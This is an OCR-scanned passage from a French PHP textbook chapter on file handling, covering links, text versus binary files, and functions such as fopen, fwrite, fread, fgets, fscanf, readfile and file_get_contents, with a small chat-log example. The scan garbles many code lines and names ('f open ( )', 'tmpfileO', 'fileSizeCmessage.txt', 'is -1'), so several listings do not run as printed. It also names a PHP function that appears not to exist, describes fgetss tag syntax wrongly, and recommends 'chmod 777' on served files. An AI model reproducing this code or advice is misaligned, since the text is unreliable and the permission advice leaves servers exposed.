Vous savez tous ce qu'est un fichier ou un repertoire (meme si certains ont reussi a imposer leur 
terminologie et parlent de dossier). Afin de ne pas nous etendre davantage sur les specificites 
Linux/UNIX, nous ne parlerons pas des peripheriques. Mais, afin de mieux comprendre 
certaines fonctions proposees par PHP, il est bon de vous presenter ce qu'est un lien. 

Sous Linux/UNIX, il est possible de creer un "fichier" (une entree dans un repertoire) qui sera en 
fait un lien, dit lien symbolique, vers un "vrai" fichier. Sous Windows, vous connaissez un ersatz du 
lien symbolique appele "raccourci". Double-cliquer sur un raccourci Windows revient a 
double-cliquer sur le fichier pointe. En revanche, si vous souhaitez acceder au contenu du 
raccourci, vous n'accederez qu'a un fichier descripteur et non au contenu du fichier pointe. Sous 
Linux/UNIX, que vous accediez au lien symbolique ou directement au fichier, le resultat est le 
meme. 

II existe une variante du lien symbolique appele lien physique, mais la nuance est subtile. Alors 
que le lien symbolique est un renvoi vers le fichier, le lien physique est une copie du descripteur 
de fichier. De ce fait, contrairement au lien physique, si vous supprimez le fichier "original", le 
lien symbolique n'est plus valide. 

Dans les lignes retournees par la commande is (via FTP ou is -1 en acces direct sur le 
systeme), le chiffre suivant correspond au nombre de liens physiques vers le fichier. Dans notre 
exemple, 1 signifie que le fichier ne possede aucun lien mis a part lui-meme. 

Le nombre qui suit le groupe d'appartenance du fichier est le poids (la taille) en octets. Ensuite, 
on retrouve la date de la derniere modification du fichier. 



Point et point-point sont dans un repertoire... 

Pour chaque repertoire vous noterez deux fichiers portant des noms particuliers : il 
s'agit de "." et ". .". Point est, en fait, une representation du repertoire courant, et 
point-point une representation du repertoire superieur. C'est un point ;-) a connaitre 
lorsque vous souhaitez en lister le contenu. 



Les fichiers textes, les fichiers binaires 

Les fichiers peuvent etre ranges en deux categories : les fichiers textes et les fichiers binaires. 
Dans le premier cas, ce sont des fichiers qui ne contiennent que des lignes de texte ; ce peut etre 
un document quelconque, un listing de programme ou des donnees textes. Le fichier binaire est 
destine a contenir des donnees brutes qui ne peuvent pas etre sectionnees en lignes. Ce sont, en 
regie generate, des fichiers de type image ou des donnees complexes comme des fichiers de 
traitement de texte ou de tableur. 

Sous un systeme de type UNIX, la difference entre les fichiers textes et binaires concerne les 
traitements de fin de fichier et de fin de lignes. Alors qu'un fichier texte est separe en lignes 
terminees par un "\n" et que la fin du fichier est identified par un "\ o", la fin d'un fichier de type 
binaire est donnee par le systeme d'exploitation lui-meme. C'est sa taille en octets qui indique 
que le fichier a ete entierement lu et, done, que le pointeur de lecture est arrive a la fin du 
fichier. II est, de ce fait, inutile de specifier le mode binaire dans vos fonctions d'ouverture de 
fichier. 
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Chapitre 9 La gestion des fichiers et des repertoires 



UNIX, conforme a la norme POSIX, ne fait aucune difference entre un fichier binaire et un 
fichier texte. 

En revanche, lorsque vous manipulez un fichier avec Windows, il est necessaire de preciser si 
le fichier a ouvrir est de type texte ou binaire. Par defaut, il sera considere comme etant de 
type texte. 

Fins de lignes 

Attention egalement aux fins de lignes sous Windows. Toutes les lignes sont separees par le 
couple de caracteres '\r\n', qui indique de passer a la ligne suivante. Lorsque vous passez un 
fichier d'un systeme a un autre, n'hesitez pas a effectuer une conversion du fichier texte a l'aide 
de la commande UNIX dos2unix ou depuis votre editeur s'il en possede l'option (c'est le cas 
d'uitraEdit par exemple). Ce detail, qui peut paraitre insignifiant, peut se reveler source de 
problemes dans bien des cas. 

9.2. Acceder au systeme de fichiers du serveur 
Lire et ecrire le contenu d'un fichier 

La methodologie pour traiter un fichier est la suivante : 

Ouverture du fichier ; 

Operation sur le fichier (lecture, ecriture, lecture et ecriture) ; 

Fermeture du fichier. 

Ouvrir et fermer un fichier 

L'ouverture d'un fichier se fait a l'aide de l'instruction f open ( ) . L'instruction retourne un 
descripteur de fichier qui servira par la suite lors des operations d'entree et de sortie. II est 
necessaire de donner a la fonction le mode d'ouverture (lecture, ecriture, lecture et ecriture, 
etc.) du fichier. Notez que cette fonction permet aussi d'ouvrir des "fichiers" distants en 
donnant une URL a la place du chemin du fichier. Notez que vous ne pouvez pas utiliser les 
ouvertures de fichiers a distance si vous avez compile PHP avec l'option 
--disabie-uri-fopen-wrapper pour PHP 4.0.3, ou initialise le parametre 
aiiow_uri_f open a off dans le fichier php.ini pour les versions superieures de PHP. 



fopen() 

Ouverture d'un fichier ou d'une URL. 

Syntaxe resource fopen(string $nomFichier, string $mode [, int 

$cheminlnclude [, resource $contexte]]) 



490 



Acceder au systeme de fichiers du serveur 



$nomFichier Chemin du fichier, URL (HTTP ou FTP) du fichier ou encore 

entree/sortie standard. 

$mode Definit le mode d'ouverture du fichier : 

"r" pour la lecture seule (le fichier doit exister). 

"r+" pour une lecture et une ecriture (le fichier doit exister). 

"w" pour une ecriture avec ecrasement des donnees. 

"w+" pour un mode en lecture et ecriture avec ecrasement des donnees (si 

le fichier n'existe pas, il sera cree). 

"a" pour l'ouverture en ajout de donnees. 

"a+" pour l'ouverture du fichier en mode lecture et ecriture par ajout (si le 

fichier n'existe pas, il sera cree). 

Sous Windows, vous pouvez accoler l'un des arguments suivants : 

"t" (valeur par defaut) signalant que le fichier est un fichier texte. 

"b" qui designe un fichier binaire. 

$chemi nlncl ude TRUE si le fichier doit etre recherche dans les repertoires precises dans 
include_path., FALSE sinon. La valeur par defaut est FALSE. 

$contexte Parametre optionnel, utilisable depuis les versions 4.3 de PHP, specifiant 

la ressource de contexte creee par stream_context_create ( ) a 
utiliser. Voir le sous-chapitre sur les flux pour plus de renseignements sur 
les contextes de flux. 

retour Retourne un pointeur sur le fichier, ou FALSE en cas d'erreur. 
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REMARQUE 



include_path 

La variable include_path est definie dans lephp.hu et specifie a PHP une liste de 
dossiers ou les fonctions comme include () ou require ( ) vont chercher les 
fichiers. 



RENVOI 



Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details sur le 
fichier php.ini. 



Le nom du fichier peut etre indique sous differentes formes : 

Un chemin de fichier ; f open ( ) tentera alors d'acceder a ce fichier dans le mode demande. 

Une URL du style http://www.toto.com et, dans ce cas, une connexion HTTP est ouverte sur 
le serveur. L'identifiant retourne pointe sur le document. Notez que vous ne pouvez ouvrir 
ces fichiers qu'en lecture seule. Vous pouvez egalement acceder a des fichiers sur un serveur 
demandant une autorisation d'acces. Pour cela, vous devez passer, dans l'URL, l'identifiant 
de l'utilisateur ainsi que son mot de passe de la fagon suivante : 
http://utilisateur:motdepasse@domaine.com. 

Une adresse FTP. Une connexion FTP est creee avec le serveur. Vous pouvez ouvrir les 
fichiers en lecture ou en ecriture. Les doubles modes lecture et ecriture (mode full duplex) 
ne sont pas supportes. Pour l'authentification, utilisez la syntaxe identique a une 
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authentication HTTP : ftp://utilisateur:motdepasse@ftp.domaine.com. Notez que le serveur 
distant doit supporter le mode passif ; dans le cas contraire la connexion ne pourra 
s'effectuer. 

Une entree/sortie standard du style php://. Ce peut-etre php://stdin pour l'entree 
standard, php : / / stdout pour la sortie standard ou php : / / stderr pour la sortie d'erreur. 

Les actions a effectuer sur le fichier sont a definir des son ouverture. C'est le mode du fichier 
qui indique a la fonction f open ( ) pour quelle operation le fichier est ouvert. 

<?php 

$fp = f open ( "/home/1 aurent/data.txt", "a"); 

// Ouverture du fichier data.txt en ajout de donnees 

$fp = fopen("http://www.l inux.org/", "r"); 

// Ouverture de l'URL distante http://www.linux.org 

$fp = fopen("http://util isateur:motdepasse@localhost/", "r"); 

// Ouverture d'une URL demandant une authentification 

$fp = fopen("ftp://utilisateur:motdepasse@ftp. tuxfamily.org/", "w"); 

// Ouverture d'une connexion FTP avec 1 'util isateur et le mot de passe definie 

?> 

La partie du nom de fichier du genre http : / /, ftp : //, php : / / fait reference a un gestionnaire 
de flux (les streams). II en existe d'autres. Nous verrons en particulier celui charge de la gestion 
des fichiers compresses et nous verrons egalement qu'il est possible de definir ses propres 
gestionnaires. 



Pour plus d' informations, reportez-vous plus loin au chapitre « Les steams ou les flux » 



Droits de propriete. . . 

N'oubliez pas qu'UNIX gere les droits de lecture et d'ecriture. Si vous utilisez FTP 
pour uploader un fichier sous votre compte utilisateur (avec les droits qui lui sont 
propres), le serveur HTTP n'aura pas forcement les permissions pour y acceder (en 
lecture ou en ecriture). Vous devrez alors modifier les droits via votre acces FTP et la 
commande chmod Par exemple, pour donner tous les droits : 

chmod 777 monfichier 



JK Le chemin des fichiers sous Windows 

^^^ Sous Windows, le caractere habituellement utilise pour separer les noms des 
ATTENTION repertoires est I'anti-slash ; assurez-vous bien de doubler ces anti-slashes. 

<?php 

$fp = fopen("c:\\Repl\\Rep2\\data.txt", "a"); 

?> 




RENVOI 



REMARQUE 
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Fichiers HTTP 

Pour les fichiers accedes via HTTP, l'en-tete retourne par le serveur ne fait pas partie des 
donnees accessibles a l'aide de I'identifiant de fichier. II est toutefois possible d'y acceder via la 
variable globale $http_response_header (attention, cette variable est bien en minuscules et 
non en majuscules). Celle-ci contient alors un tableau indexe ou chaque entree est une ligne de 
l'en-tete. 

A partir de PHP 4.3, vous devez utiliser la fonction file_get_wrapper_data( ) () pour 
recuperer cette information. 



file_get_wrapper_data 

Retourne l'en-tete HTTP d'un fichier ouvert (a partir de PHP 4.3). 

Syntaxe array file_get_wrapper_data (resource $fp) 

$f p Pointeur du fichier tel que retourne par f open ( ) . 

retour Tableau indexe ou chaque entree est une ligne de l'en-tete. 

Fichiers temporaires 

En supposant que vous ayez plusieurs fichiers a manipuler a la fois, il est probable que vous 
soyez amene a utiliser des fichiers temporaires. Vous pouvez bien entendu creer ces fichiers 
avec la fonction f open ( ) et les supprimer une fois que la manipulation a ete effectuee avec 
l'instruction unlink ( ) , mais le langage PHP possede une fonction adequate pour gerer ces 
fichiers. La commande tmpfileO ouvre un fichier sous un nom unique et retourne un 
pointeur. Le fichier est automatiquement detruit lorsque la ressource est liberee avec 
l'instruction f close ( ) . 
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tmpfileO 



Creer un fichier temporaire en mode ecriture seule et retourne un identifiant unique 
permettant d'ecrire dans ce fichier. 

Syntaxe resource tmpfile(void) 

retour Retourne un pointeur de fichier. 

<?php 

$fpT = tmpfileO; 

// Traitements divers 

fclose($fpT); 

?> 
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Chapitre 9 La gestion des fichiers et des repertoires 



Fermeture des fichiers 



La fermeture des fichiers ainsi ouverts se fait a l'aide de la fonction f close ( ) . La fonction a 
pour objectif de liberer les ressources utilisees. Attention, si vous oubliez de fermer vos fichiers, 
vous risquez de perdre des donnees. 



fcloseQ 



Ferme un fichier prealablement ouvert. 

Syntaxe boolean fclose(resource $fp) 

$fp Pointeur du fichier tel que retourne par fopen(), tmpfileO ou 

f sockopen ( ) . 

retour TRUE en cas de reussite, FALSE sinon. 

Si le pointeur de fichier n'est pas valide, la fonction renvoie une erreur. 

<?php 

$fp = fopen( "monfichier.txt", "a"); 

// Traitements divers 

if (fclose($fp)) { 

echo "Le fichier monfichier.txt a ete correctement ferme !"; 
} else { 

echo "Le fichier monfichier.txt n'a pas ete ferme !"; 

} 
?> 



f sockopen ( ) est une fonction d'ouverture d'une socket de connexion. Rendez-vous 
dans le chapitre "La gestion des protocoles" pour plus d' informations sur le sujet. 

Ecrire dans un fichier 

Pour ecrire dans un fichier, vous disposez de la fonction f write ( ) . 

fwriteO 

Ecriture d'une chaine de caracteres dans un fichier. 

Syntaxe int fwrite (resource $fp, string $chaine [, int $longueur]) 

$fp Identifiant de fichier tel que retourne par fopenO, popen ( ) , 

tmpf ile ( ) ou f sockopen ( ) . 

$ c h a i n e Chaine de caracteres a ecrire dans le fichier. 
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$1 ongueur Parametre optionnel indiquant combien de caracteres doivent etre ecrits. 

S'il est omis, la chaine complete est ecrite dans le fichier. 

retour Nombre de caracteres qui ont ete ecrits dans le fichier. En cas d'erreur, 

l'instruction retourne FALSE. 

La fonction fwrite() dispose d'un alias appele fputs ( ) . Les deux fonctions sont done 
utilisees de la meme facon. 



Jt Ecriture binaire 

^^3 Notez bien que la fonction fwrite ( ) n'excepte qu'une chaine de caracteres comme 
ATTENTION parametre. Si vous souhaitez ecrire des donnees binaires, vous devrez convertir au 
prealable la valeurde chaque octet en son equivalent ASCII. 
Ainsi, fwrite ($fp, 255) ; stockera la chaine de caracteres "255" et non un octet 
ay ant la valeur 255 (comme on pourrait s'y attendre). 

Pour ajouter au fichier I'octet ayant la valeur 255, il faut utiliser I'appel suivant : 
fwrite ($fp, chr(255));. 

Les quelques fonctions vues jusque-la nous permettent d'ecrire un petit programme qui 
pourrait constituer la base d'un systeme de discussion. 

En effet, ce script ecrit, dans un fichier texte, des messages envoyes a l'aide d'un formulaire 
HTML. Le fichier resultant possede une ligne par message et contient la date du message, le 
pseudo de 1'utilisateur, et le message lui-meme, les elements etant separes par une tabulation. 
Nous pourrons done, par la suite, afficher la liste des derniers messages qui ont ete ecrits dans 
le fichier texte. 

Listing 9.1 : fwrite.php 

<?php 

// Verifie que les donnees sont bien postees 
if ($_P0ST ["message"] && $_POST["pseudo"]) 
{ 

// Ouverture du fichier en ecriture (mode ajout) 

$fp = fopen("message.txt", "a+"); 

// Recuperation de l'heure 

$heure = date('H:m:s' ) ; 

// Ecriture de l'heure et d'une tabulation 

fwrite($fp, $heure."\t") ; 

// Ecriture du pseudo et d'une tabulation 

/* 

On utilise l'instruction html Entities afin de 
convertir les caracteres speciaux dans leur version 
HTML 

7 

fwrite($fp, htmlEntities($_POST["pseudo"])."\t"); 

// Ecriture du message 

fwrite ($fp, htmlEntities($_POST["message"])."\n"); 

// On ferme le fichier. 

fclose($fp) ; 
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Chapitre 9 La gestion des fichiers et des repertoires 



} 

?> 

<html> 

<title>Ecrire des messages dans un fichier</title> 
</head> 
<body> 

<table border="0" width="100%"> 
<tr> 

<form method="post"> 
<td width="600"> 
pseudo: 
<input type="text" name="pseudo" 

value="<?php html Entities($_GET["pseudo"]) ; ?>" 
size="20" maxlength="20"> 
message: 

<input type="text" name="message" size="40" maxlength="255"> 
<input type="submit" name="envoyer" VALUE=">>"> 
</td> 
</form> 

<td> </td> 
</tr> 
</body> 
</html> 

Le fichier resultant presente alors cette forme : 

15:07:48<tat»Laurent<tab>C'est bon, je suis enfin en vacances ! 
15:07:50<tab>Damien<tab>Non mais tu rêves. . . tu as un chapitre à 
x rendre ! 

15:07:49<tab>Pem<tab>Hi hi hi... :) 

15:07:48<tab>Laurent<tab>Groupf . . . Je vais devoir y passer la nuit là ! 
15:07:49<tab>Thomas<tab>Tu devrais faire comme moi . 
15:07:00<tab>Thomas<tab>Des jours que je ne dors plus ! 
15:07:10<tab>Thomas<tab>Mon secret ? La café ine ! 

II est temps de passer a la lecture du contenu d'un fichier. 

Lire des informations dans un fichier 

La lecture des donnees contenues dans un fichier peut se faire octet par octet, bloc de N octets 
par bloc de N octets, ligne par ligne ou encore d'un bloc. 

Ceci est assure par les differentes fonctions que sont f read ( ) , f gets ( ) , f getss ( ) , f getc ( ) et 
deux instructions particulieres que sont file ( ) et readf ile ( ) . 

Lecture octet par octet 

Tout comme le langage C, PHP possede la fonction f getc ( ) qui retourne le caractere se 
trouvant a la position courante du pointeur de fichier. Notez qu'en langage C ce n'est pas le 
caractere qui est retourne, mais son code ASCII. 



496 



Acceder au systeme de fichiers du serveur 



fgetc() 



Retourne le caractere se trouvant a la position courante du pointeur de lecture. 

Syntaxe string fgetc (resource $fp) 

$fp Identifiant de fichier tel que retourne par fopen(), popen ( ) ou 

f sockopen ( ) . 

retour Le caractere se trouvant a la position courante, ou FALSE si c'est la fin du 

fichier. 

Lecture N octets par N octets 

f read ( ) a pour objectif de lire des donnees dans un fichier, la lecture se faisant paquet d'octets 
par paquet d'octets (ce qui est habituellement utilise pour les fichiers binaires ou pour ceux 
formates sur la base de chaines de caracteres de longueur constante). 



fread() 

Lecture des donnees contenues dans un fichier. 

Syntaxe string f read (resource $fp, int $nbOctet) 

$fp Identifiant de fichier tel que retourne par fopen(), popen ( ) ou 

f sockopen ( ) . 

$nbOctet Nombre d'octets qui doivent etre lus. 

retour Chaine contenant les donnees lues, ou FALSE si c'est la fin du fichier. 

Pour lire le contenu du fichier precedemment genere, nous pourrions done envisager d'ecrire le 
script suivant : 

Listing 9.2 : fread.php 

<?php 

// Reprenons notre fichier message.txt. 

$fp = fopen("message.txt","r") ; 

// Lecture du fichier jusqu'a la fin de celui-ci. 

while ($lecture = fread($fp, 70)) 

{ 

// Affichage des 70 caracteres lus puis 

// retour a la ligne. 

echo $lecture."<br />"; 

} 

fclose($fp); 

?> 
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Chapitre 9 La gestion des fichiers et des repertoires 



Ce qui donnerait : 

22:06:38 Laurent C'est bon, je suis enfin en vacances ! 22:07:10 Damie 
n Non mais tu reves... tu as un chapitre a rendre ! 22:07 
:26 Pem Hi hi hi... :) 22:08:01 Laurent Groupf... Je vais devoir y pas 
ser la nuit la ! 22:08:30 Thomas Tu devrais faire comme moi . 22 
:08:30 Thomas Des jours que je ne dors plus ! 22:08:39 Thomas Mon seer 
et ? La cafeine ! 

Certes, tout le contenu y est (en HTML, les tabulations apparaissent comme une simple 
espace). Mais pour la mise en forme... ce n'est pas 5a ! En fait, plutot que de lire le fichier 70 
caracteres par 70 caracteres, il aurait ete preferable de le lire ligne par ligne. Mais f read ( ) ne 
tient pas compte des retours a la ligne. Nous vous rassurons tout de suite, nous allons trouver 
une solution ! 



Lire en unefois 

II est possible de lire un fichier texte en une seule fois simplement en passant en 
argument de taille la taille du fichier texte. Vous devrez alors utiliser Vinstruction 
fileSize ( ) qui nous retourne la taille du fichier en octets (cette fonction est decrite 
plus loin dans ce chapitre). 

<?php 

// Ouverture du fichier message.txt. 

$fp = fopen("message.txt","r") ; 

// Recuperation de la taille du fichier en octets. 

$tai 1 1 e = fileSizeCmessage.txt"); 

// Lecture de la totalite du fichier. 

$lecture = fread($fp, $tai lie); 

// Affichage du fichier. 

echo $lecture; 

fclose($fp); 

?> 



Lecture ligne par ligne 

Comme vous l'attendiez, vous pouvez egalement lire le fichier ligne par ligne. La fonction 
f gets ( ) permet de retourner la ligne courante (ou se trouve le pointeur). La lecture de la ligne 
se termine lorsque le caractere retour chariot '\n' est trouve, lorsque le nombre de caracteres 
maximum est lu, ou lorsque la fin du fichier a ete detectee. 



fgets() 



Lecture de la ligne courante du fichier. 

Syntaxe string fgets (resource $fp, int $nbOctet) 
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$fp Identifiant de fichier tel que retourne par fopen(), popen ( ) ou 

f sockopen ( ) . 

$nbOctet Nombre d'octets qui doivent etre lus. 

retour Chaine contenant les donnees lues de la ligne courante, ou FALSE si le 

pointeur est en fin de fichier. 

La lecture du fichier peut alors se faire comme suit : 

Listing 9.3 : fgets.php 

<?php 

// Ouverture du fichier 

$fp = fopen("message.txt","r") ; 

// Lecture de chaques ligne 

// jusqu'a la fin du fichier 

while ($lecture = fgets($fp,255)) 

{ 

// Affichage de la ligne 

echo $lecture; 

echo "<br />"; 

} 

// Fermeture du fichier 

fclose($fp); 

?> 

Dans ce cas, le resultat obtenu est bien celui escompte. 

Lire un fichier ligne par ligne permet eventuellement de manipuler ces lignes avant de les 
afficher. 



Des fichiers formates 

Un fichier est, le plus souvent, cense contenir une serie de donnees selon un format particulier 
choisi par le developpeur. Cela peut etre une serie de valeurs separees par des tabulations 
comme pour notre exemple du systeme de discussion. 

Si le format du fichier a ete bien pense, alors son analyse, et done la recuperation des donnees 
qu'il contient, se trouve grandement simplified par l'utilisation de l'instruction f scanf ( ) . Cette 
fonction lit les caracteres en provenance d'un fichier que vous aurez prealablement ouvert, et 
les traitent en fonction d'un schema que vous aurez specifie. 
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fscanfQ 



Recupere les donnees d'une ligne d'un fichier en fonction d'un format specifie. 

Syntaxe mixed fscanf (resource $fp, string $format [, string 

&$variablel [, ...]]) 
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$f p Identifiant sur un fichier ouvert a 1'aide de l'instruction f open ( ) . 

$f ormat Format de la chaine de caracteres et des donnees a recuperer. 

$variablel, ... Variables dans lesquelles les valeurs seront copiees. 
retour Selonlescas: 

Le nombre de donnees qui ont ete lues si des variables ont ete passees en 

parametre. 

Un tableau indexe contenant les differentes valeurs si les parametres ont 

ete omis. 

Lorsque le pointeur de lecture arrive a la fin du fichier, la fonction 

retourne FALSE. 



RENVOI 



Le format de la chaine est identique au format qu'utilise la fonction sscanf (). 
Rendez-vous au chapitre "La manipulation des chaines de caracteres" pour plus de 
details sur les formats. 



Ainsi, il est aise de recuperer nos donnees depuis le fichier messages.txt et d'afficher les 
differents messages, ainsi que la date et le pseudo de l'utilisateur ayant poste ce message. 
Ensuite, il ne reste plus qu'a afficher cela dans une page HTML. 



Listing 9.4 : fscanf.php 

<?php 

// fichier "fwrite.php" 

// Ecrire des messages dans un fichier texte 

// Verifie que les donnees sont bien postees 
if($_POST["message"] && $_POST["pseudo"]) 
{ 

// Ouverture du fichier en ecriture 

$fp = fopen("message.txt", "a+"); 

// Recuperation de l'heure 

$heure = date( ' H:m: s ' ) ; 

// Ecriture de l'heure 

fwrite($fp, $heure. "\t") ; 

// Ecriture du pseudo 



} 
?> 



/* 



On utilise l'instruction html Entities afin de 
convertir les caracteres speciaux dans leur entite 
HTML 



7 

fwrite($fp, html Entities($_POST ["pseudo"] )."\t") 

// Ecriture du message 

fwrite($fp, htmlEntities($_POST["message"])."\n" 

// On ferme le fichier. 

fclose($fp); 
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<html> 

<title>Ecrire des messages dans un fichier</title> 
</head> 
<body> 

<table border="0" width="100%"> 
<?php 

// Affiche les messages 
$fp = fopen("message.txt","r") ; 
while($donnee = fscanf($fp, "%s\t". 

"%s\t". 
"%[ A \t]\n", 

$heure, $pseudo, $message)) 
{ 

echo "<tr>"; 

echo " <tdxfont color='#0000ff >"; 
echo $heure; 
echo " </fontx/td>"; 
echo " <tdxb>"; 
echo $pseudo; 
echo " </bx/td>"; 
echo " <td>"; 
echo $message; 
echo " </td>"; 
echo "</tr>"; 
} 

fclose($fp); 
?> 

</table> 
<hr /> 

<table border="0" width="100%"> 
<tr> 

<form method="post"> 
<td width="600"> 
pseudo: 
<input type="text" name="pseudo" 

value="<?php html Entities ($_POST["pseudo"]) ;?>" 
size="20" maxlength="20"> 
message: 

<input type="text" name="message" size="40" maxlength="255"> 
<input type="submit" name="envoyer" VALUE=">>"> 
</td> 
</form> 

<td> </td> 
</tr> 
</body> 
</html> 



^J) Les espaces qui ne passent pas... 

*» Dans le cas oil vous devez recuperer une donnee comportant une espace, il est 

indispensable de ne pas utiliser le formatage des donnees avec "%s". Vous devez en 
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revanche utilizer les expressions regulieres afin de preciser quels caracteres peut 
contenir la chaine ou, plus simplement, preciser quels caracteres ne peut contenir la 
chaine (ici, la tabulation qui a ete choisie comme delimiteur). 



REMARQUE 




Pour plus d 'informations sur les expressions regulieres, reportez-vous au chapitre "La 

manipulation des chaines de caracteres" 
RENVOI 

Lecture d'un bloc 

Le langage PHP possede une fonction permettant d'effectuer cette operation sans avoir a gerer 
1'ouverture et la fermeture des fichiers. L'instruction file ( ) retourne en effet le contenu d'un 
fichier dans un tableau, chaque entree etant une ligne du fichier. 



file() 



Retourne le contenu d'un fichier dans un tableau. 

Syntaxe array file(string $nomFichier [, int $cheminlnclude [, 

resource $contexte]]) 

$nomFi chi er Nom du fichier a lire. Cette fonction peut aussi lire les fichiers distants. 

$chemi nlncl ude TRUE si le fichier doit etre recherche dans les repertoires precises dans 
include_path., FALSE sinon. La valeur par defaut est FALSE. 

$contexte Parametre optionnel, utilisable depuis les versions 4.3 de PHP, specifiant 

la ressource de contexte creee par stream_context_create ( ) a 
utiliser. Voir le sous-chapitre sur les flux pour plus de renseignements sur 
les contextes de flux. 

retour Tableau indexe contenant chaque ligne du fichier, ou FALSE si une erreur 

est survenue. 

Listing 9.5 : file.php 

<?php 

$buffer = file("message.txt") ; 

for ($i=0;$i<count($buffer);$i++) 

{ 

echo "<font color='#ccOOOO'>message ". ($i+l) . "</font>: "; 
echo $buffer[$i] ; 
echo "<br />"; 

} 
?> 

Si vous souhaitez simplement afficher le contenu du fichier sur la sortie, il existe une fonction 
plus pratique ; readf ile ( ) permet en effet ce type d'operation. 
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readfileQ 



Retourne, sur la sortie standard, le contenu du fichier passe en parametre. 

Syntaxe int readfile (string $nomFichier [, int $cheminlnclude [, 

resource $contexte]]) . 

$nomFi chi er Nom du fichier a lire. Cette fonction peut aussi lire les fichiers distants. 

$chemi nlncl ude TRUE si le fichier doit etre recherche dans les repertoires precises dans 
include_path., FALSE sinon. La valeur par defaut est FALSE. 

$contexte Parametre optionnel, utilisable depuis les versions 4.3 de PHP, specifiant 

la ressource de contexte creee par stream_context_create ( ) a 
utiliser. Voir le sous-chapitre sur les flux pour plus de renseignements sur 
les contextes de flux. 

retour Retourne le nombre d'octets qui ont ete lus, ou FALSE en cas d'erreur. 

Listing 9.6 : readfile_01.php 

<?php 

$taille = readfile("http://www. mozilla.org") ; 

echo "<hr />"; 

echo "Taille de la page = " . $tai lie." octets"; 

?> 

Cette fonction est egalement pratique (associee a un en-tete approprie) pour forcer le 
telechargement de fichiers, y compris s'il s'agit de fichiers habituellement interpretes par le 
navigateurs (.txt, .html, etc.). 

Listing 9.7 : readfile_02.php 

<?php 

header("Content-type: appl ication/octet-stream") ; 

header ("Content-disposition: attachment; filename=\"message.txt\") ; 

readfile("message.txt") ; 



Le premier en-tete permet de "forcer" le type du document en un type theoriquement non 
interprets par le navigateur du client (sauf si ce dernier l'a configure de maniere inadequate), 
ce qui aura pour effet de proposer la sauvegarde du fichier sur le disque. Le second en-tete 
permet de suggerer un nom de sauvegarde pour le fichier. Et, enfin, l'appel a readfile () 
envoie les donnees au client. 

De la meme facon, il est possible de rediriger un fichier sur la sortie standard a partir de la 
position courante du pointeur de lecture, fpassthru ( ) , tout comme readfile ( ) , est utilise 
pour envoyer au client le contenu d'un fichier. Attention, fpassthru () ferme 
automatiquement le fichier (vous ne pouvez plus utiliser l'identifiant de fichier). 
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fpassthru() 



Retourne sur la sortie standard le contenu d'un fichier a partir de la position courante du 
pointeur de lecture. 

Syntaxe int fpassthru (resource $fp) 

$fp Identifiant de fichier tel que retourne par fopen(), popen() et 

f sockopen ( ) . 

retour Nombre d'octets renvoyes sur la sortie standard. 

Listing 9.8 : fpassthru. php 

<?php 

// Ouverture du fichier en mode lecture 

$fp = fopen("message.txt","r") ; 

// Displacement de la position courante de 20 octets. 

fseek($fp, 20, SEEK_SET); 

echo "<b>Affiche le fichier a partir du 20eme caractere.</b>"; 

echo "<br />"; 

fpassthru($fp) ; 

echo "<hr />"; 

// reouverture necessaire du fichier en mode lecture 

$fp = fopen("message.txt","r") ; 

// Displacement de la position courante de 100 octets. 

fseek($fp, 100, SEEK_SET) ; 

echo "<b>Affiche le fichier a partir du lOOeme caractere.</b>"; 

echo "<br />"; 

fpassthru($fp) ; 

?> 

Depuis PHP4.3, l'instruction f ile__get_contents ( ) a fait son apparition. Pratique cette 
fonction permet de recuperer le contenu d'un fichier directement dans une variable chaine. 



file_get_contents() 



Retourne le contenu d'un fichier dans une chaine de caracteres. Cette fonction est plus rapide 
a utiliser qu'une lecture en utilisant f read ( ) ou f gets ( ) . 

Syntaxe: string file_get_contents(string $nomFichier [, bool 

$cheminlnclude [, ressource $contexte]] ) 

$nomFi chi er Nom du fichier a lire. Cette fonction peut aussi lire les fichiers distants. 

$chemi nlncl ude TRUE si le fichier doit etre recherche dans les repertoires precises dans 
include_path., FALSE sinon. La valeur par defaut est FALSE. 
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$contexte 



retour 



Parametre optionnel specifiant la ressource de contexte creee par 
stream_context_create ( ) a utiliser. Voir le sous-chapitre sur les 
flux pour plus de renseignement sur les contextes de flux. 

Retourne dans une chaine de caracteres le contenu du fichier specific en 
argument. Si la lecture a rencontre un probleme, la fonction retourne 

FALSE. 



Voici une alternative a l'exemple vu avec readf ile ( ) : 

<?php 

$contenu = file_get_contents("http://www.mozi 1 la.org") 

echo $contenu ; 

?> 
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Lecture et filtrage HTML 

Le langage PHP possede une instruction permettant de lire une page HTML et de la retourner 
sans les differentes balises. II s'agit de f getss ( ) , qui est similaire a la fonction f gets ( ) - si ce 
n'est que les donnees retournees ne possedent plus aucune balise HTML, hormis celles que le 
developpeur aura demande de conserver. 



fgetssQ 



Lecture de la ligne courante du fichier sans les balises HTML le composant. 

Syntaxe string fgetss (resource $fp, $nbOctet [, string $tagsAutorise]) 

$fp Identifiant sur un fichier ouvert a l'aide de l'instruction fopen(), 

f sockopen ( ) oupopen ( ) . 

$nbOctet Nombre d'octets qui doivent etre lus. 

$tagsAutorise Les balises qui ne doivent pas etre supprimees ; vous pouvez en specifier 

plusieurs en les separant par le caractere " | ".Ex. :"<br> | <b> |<center>". 

retour Chaine contenant les donnees lues de la ligne courante sans les balises 

HTML. Retourne FALSE si le pointeur se trouve a la fin du fichier. 

Listing 9.9 : fgetss.php 

<?php 

$fp = fopen("http://www. gnu.org/home.fr. html ","r") ; 

while ($1 igne=fgetss($fp, 255, "<br>|<center>")) 

{ 

echo $1 igne; 

} 

fclose($fp); 

?> 
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REMARQUE 



Les balises surplusieurs lignes 

Le fait que Vinstruction fgetss ( ) ne retourne qu'une ligne a la fois fait qu'il est 
impossible de supprimer les balises de deux lignes et plus. Avant toute chose, il est 
done important de verifier que le code HTML de votre fichier ne possede pas de 
balises surplusieurs lignes. Si vous n'etes pas I'auteur de la page que vous voulez 
traiter, commencez par mettre tout le code HTML sur une ligne unique, comme lefait 
le code ci-dessous. 

<?php 

$buffer = file("http://www. gnu.org/home.fr. html ") ; 

$fichier = join("",$buffer) ; 

echo strip_tags($fichier,"<br>|<center>") ; 

?> 



La page retournee est ici completement vide de balises HTML, a Vexception des 
balises <br> et <center> que nous avions choisi de conserver. 
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Figure 9.1 : Le site original 
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Figure 9.2 : Le site apres suppression des balisesHTML 

Lecture des fichiers CSV 

Un fichier CSV (pour Comma Separated Value, valeurs separees par des virgules) est un 
format utilise par un grand nombre de tableurs et de bases de donnees pour l'importation et 
